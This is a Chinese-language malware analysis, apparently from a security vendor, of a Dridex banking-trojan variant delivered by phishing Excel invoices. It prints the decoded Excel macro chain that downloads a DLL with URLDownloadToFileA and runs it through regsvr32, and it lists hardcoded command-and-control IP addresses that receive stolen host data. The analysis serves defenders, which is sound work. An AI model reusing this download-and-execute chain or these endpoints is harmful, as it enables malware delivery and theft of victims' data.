背景概述
網(wǎng)絡(luò)安全宣傳的時候經(jīng)常都會強調(diào)不要隨意打開來歷不明的郵件或者文件,這又是為什么呢?
因為很多時候一些木馬病毒的入侵就是通過釣魚郵件來進行的,深信服安全團隊近期捕獲的Dridex木馬病毒新變種就是通過這種入侵方式來入侵受害者系統(tǒng)并竊取信息。
Dridex是目前全球活躍且技術(shù)比較先進的銀行木馬之一,其又被稱為BUGAT和Cridex,主要目的是從受感染機器的用戶那里竊取網(wǎng)上銀行和系統(tǒng)信息,進行欺詐性交易,該病毒樣本會安裝鍵盤偵聽器并執(zhí)行注入攻擊。
Dridex的目標用戶是Windows用戶,通過誘導(dǎo)用戶打開釣魚郵件附件中的Excel文檔,導(dǎo)致宏激活并下載Dridex,從而感染計算機并竊取用戶信息。
樣本信息
病毒名 Dridex Trojan Variant MD5 36d6caa7639fa761ec5408b1cdc8cad7 SHA256 519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE 樣本類型 Microsoft Excel 2007+ 惡意類型
Dridex

入侵流程圖:

詳細分析
這個樣本主要通過釣魚的方式,偽裝成帶有偽造電子發(fā)票的Excel電子郵件,如果雙擊附件,Microsoft Office Excel會打開它;

查看我們的電子發(fā)票需要去打開宏,但是宏可用于加載其他惡意程序,所以對于一個未知的excel文檔來講,啟用宏和打開未知的exe文件一樣危險。
如果這個excel含有vba代碼:
1、可以點擊All-Open and pay 來執(zhí)行惡意的VBA代碼;
2、點擊事件的按鈕,來觸發(fā)布局事件(Layout);
查看一下VBA代碼:

發(fā)現(xiàn)會彈出警告的消息,VBA被隱藏了,可以嘗試用EvilClippy去除隱藏屬性,安裝相應(yīng)的組件mono。
*EvilClippy介紹:EvilClippy的開源工具,EvilClippy是一款專用于創(chuàng)建惡意MS Office測試文檔的跨平臺安全工具,它可以隱藏VBA宏和VBA代碼,并且可以對宏代碼進行混淆處理以增加宏分析工具的分析難度。當前版本的EvilClippy支持在Linux、macOS和Windows平臺上運行,實現(xiàn)了跨平臺特性。
解除保護:
EvilClippy.exe -uu macrofile.doc

直接解除保護查看:

直接可以看到相應(yīng)的代碼:


可以大概知道A720-A1008有編碼的URL列表,由于字體顏色是白色的,可以調(diào)整一下便于查看;

直接調(diào)試vbs代碼:

發(fā)現(xiàn)解碼IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),
繼續(xù)下斷調(diào)試;

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;'",0)

CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;'$.",0,0)

CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;'$.",0,0)
整理一下:
IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE))
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;\'\$.",0,0)
在URLDownloadToFileA開始下載東西;

以上的過程是將隨意的URL下載到本地的文件中去,文件名字隨機,記錄一下這幾個網(wǎng)站然后去比較一下下載的dll文件MD5值,發(fā)現(xiàn)這幾個文件的MD5值是一樣的。

可以看到變量是我們看到的文件夾,路徑 C:\cEACqJVb\D6dpWrT\26bKqTf

最后可以看到使用一個命令 -s regsvr32下載文件,直接cmd process查看一下進程;


查看process tree 可以知道利用了execl去作為Dridex下載器,病毒直接調(diào)用了dridex中的一個方法,regsvr32為了能夠索引到xxx.dll后創(chuàng)建組件,調(diào)用了函數(shù)DllEntryPoint完成組件的注冊。

我們可以看到下載的文件也是一個dll的格式,符合上面的regsvr,嘗試直接用od附加進行調(diào)試DLL,查看一下導(dǎo)出函數(shù);

或者也可以直接用OD中的插件loaddll 直接調(diào)試。
直接bp LoadLibraryExW 找到那個dll文件(如果不知道斷那個LoadLibrary可以ExW ExA A W都下斷,f9進行分析);

參數(shù)這里寫我們的dll位置,定位查看;

直接定位到位置后下斷點,重新執(zhí)行到該斷點的位置,

可以直接停在這里分析,類似一個解壓縮的過程,最后的地址加載到EAX中,進行跳轉(zhuǎn);

執(zhí)行后,解密提取PE文件到可執(zhí)行內(nèi)存空間,類似于正常PE的拉伸的一個過程;

發(fā)現(xiàn)以下可疑點:

正常來說恢復(fù)現(xiàn)場應(yīng)該是pop,但是這里用了push edx 加上 retn = jmp edx,相當于調(diào)用了Dridex核心的部分;

每一個dll文件都會提供一個導(dǎo)出功能,這里regsvr32調(diào)用了GetProcAddress從Dridex中獲取了export:DllRegisterServer,主要查找導(dǎo)出函數(shù)的地址,幾乎所有的惡意操作都在DllRegisterServer中,相當于執(zhí)行了惡意操作的主函數(shù)main;

在這個DllRegisterServer函數(shù)中,Dridex從終端獲取信息,發(fā)送到一個服務(wù)器,它獲取自身電腦的用戶名和完整的計算機名,然后從注冊表中讀取Windows安裝時間,將獲取的信息放在一起,加密成MD5。
數(shù)據(jù)長度+計算機名稱+ MD5值,他會獲取我們計算機注冊表中,所有已安裝的軟件注冊表信息。

例如經(jīng)常玩的wegame:

用的一些工具wireshark:





*Roaming文件夾是用于存放一些使用程序后產(chǎn)生的數(shù)據(jù)文件。

將收集到的信息傳送到一個服務(wù)器上
以下四個地址是硬編碼寫入的,用來發(fā)送收集到的終端數(shù)據(jù)資料。
31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33 199.66.90.63:443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36 51.68.224.245:46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39 85.214.26.7:3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39 107.175.87.150:3889
總結(jié)
該惡意程序通過垃圾郵件進行分發(fā),會對銀行以及公司造成很嚴重的后果,雖然Dridex病毒很久沒有大量出現(xiàn),但是一旦感染,會導(dǎo)致計算機內(nèi)大量的數(shù)據(jù)泄漏,所以我們也要去做好相應(yīng)的防范措施,避免這種事情的發(fā)生。